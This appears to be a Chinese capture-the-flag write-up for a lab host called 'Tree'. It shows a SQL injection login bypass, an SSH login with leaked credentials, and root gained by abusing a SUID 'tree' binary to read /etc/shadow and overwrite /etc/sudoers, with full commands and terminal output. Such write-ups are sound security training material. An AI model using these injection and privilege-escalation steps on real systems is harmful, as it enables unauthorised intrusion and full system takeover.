外部打点（sql注入）

target:192.168.1.10

web 界面查询用户，sql 万能语句注入进去

`http://192.168.1.10/?username=1%27%20or%20%271%27=%271`

`1' or '1'='1`

拿到

```
**用户名:** yolo
**邮箱:** yolo's password:06f5086772e0
```

ssh 登录成功

提权 （TREE_SUID特权读取和写入）

上传 `linpeas` 或者 `find / -perm -4000 2>/dev/null` 找到 SUID tree

结合 ai 阅读 help，其中 --fromfile 读文件，-o 写文件

可以读出 /root/root.txt 、 /etc/shadow 等等

爆破密码失败，利用写方法向 /etc/shadow 内加一条 yolo 特权用户

`echo 'yolo ALL=(ALL) NOPASSWD: ALL' > a`

由于直接 `tree --fromfile a -o /etc/sudoer` 会有格式问题

然后经过尝试，创建一个名为 'yolo ALL=(ALL) NOPASSWD: ALL' 的文件，tree 利用参数去掉多余信息，

`tree -i --noreport --fromfile yolo\ \ \ \ ALL\=\(ALL\)\ NOPASSWD\:\ ALL`

这样就可以输出 `yolo ALL=(ALL) NOPASSWD: ALL`

然后再写入 /etc/sudoers 即可

完整过程如下

```
touch "yolo    ALL=(ALL) NOPASSWD: ALL"
```

```
tree -i --noreport --fromfile yolo\ \ \ \ ALL\=\(ALL\)\ NOPASSWD\:\ ALL -o
/etc/sudoers

sudo -i
```

tree 一读一写反复横跳

```
yolo@Tree:/tmp$ tree -i --noreport --fromfile a
a
111
yolo@Tree:/tmp$ touch "yolo    ALL=(ALL) NOPASSWD: ALL"
yolo@Tree:/tmp$ ls
 a            systemd-private-9dc6948caaf84af88b7a2b6ed61f06cc-
apache2.service-z9Ityg
 exploit.c    systemd-private-9dc6948caaf84af88b7a2b6ed61f06cc-systemd-
logind.service-Q9jtFi
 exploit.so   systemd-private-9dc6948caaf84af88b7a2b6ed61f06cc-systemd-
timesyncd.service-pE5lvj
 linpeas     'yolo    ALL=(ALL) NOPASSWD: ALL'
yolo@Tree:/tmp$ tree -i --noreport --fromfile yolo\ \ \ \ ALL\=\(ALL\)\
NOPASSWD\:\ ALL
yolo    ALL=(ALL) NOPASSWD: ALL
yolo@Tree:/tmp$ tree -i --noreport --fromfile yolo\ \ \ \ ALL\=\(ALL\)\
NOPASSWD\:\ ALL -o c
yolo@Tree:/tmp$ ls
 a            systemd-private-9dc6948caaf84af88b7a2b6ed61f06cc-
apache2.service-z9Ityg
 c            systemd-private-9dc6948caaf84af88b7a2b6ed61f06cc-systemd-
logind.service-Q9jtFi
 exploit.c    systemd-private-9dc6948caaf84af88b7a2b6ed61f06cc-systemd-
timesyncd.service-pE5lvj
 exploit.so  'yolo    ALL=(ALL) NOPASSWD: ALL'
 linpeas
yolo@Tree:/tmp$ cat c
yolo    ALL=(ALL) NOPASSWD: ALL
yolo@Tree:/tmp$ tree -i --noreport --fromfile yolo\ \ \ \ ALL\=\(ALL\)\
NOPASSWD\:\ ALL -o /etc/sudoers
yolo@Tree:/tmp$ sudo -i
root@Tree:~# id
uid=0(root) gid=0(root) groups=0(root)
```

```
root@Tree:~# ls
note.txt  root.txt
root@Tree:~# cat root.txt
.
├── a
├── b
└── user.txt

0 directories, 3 files
root@Tree:~#
```

总结

sql 万能密码注入获取到用户凭证
查找 suid 程序 tree，利用 --fromfile 读取敏感信息
利用 -o 和文件名写入文件，-i --noreport 清理写入数据
写入 /etc/sudoers 提权成功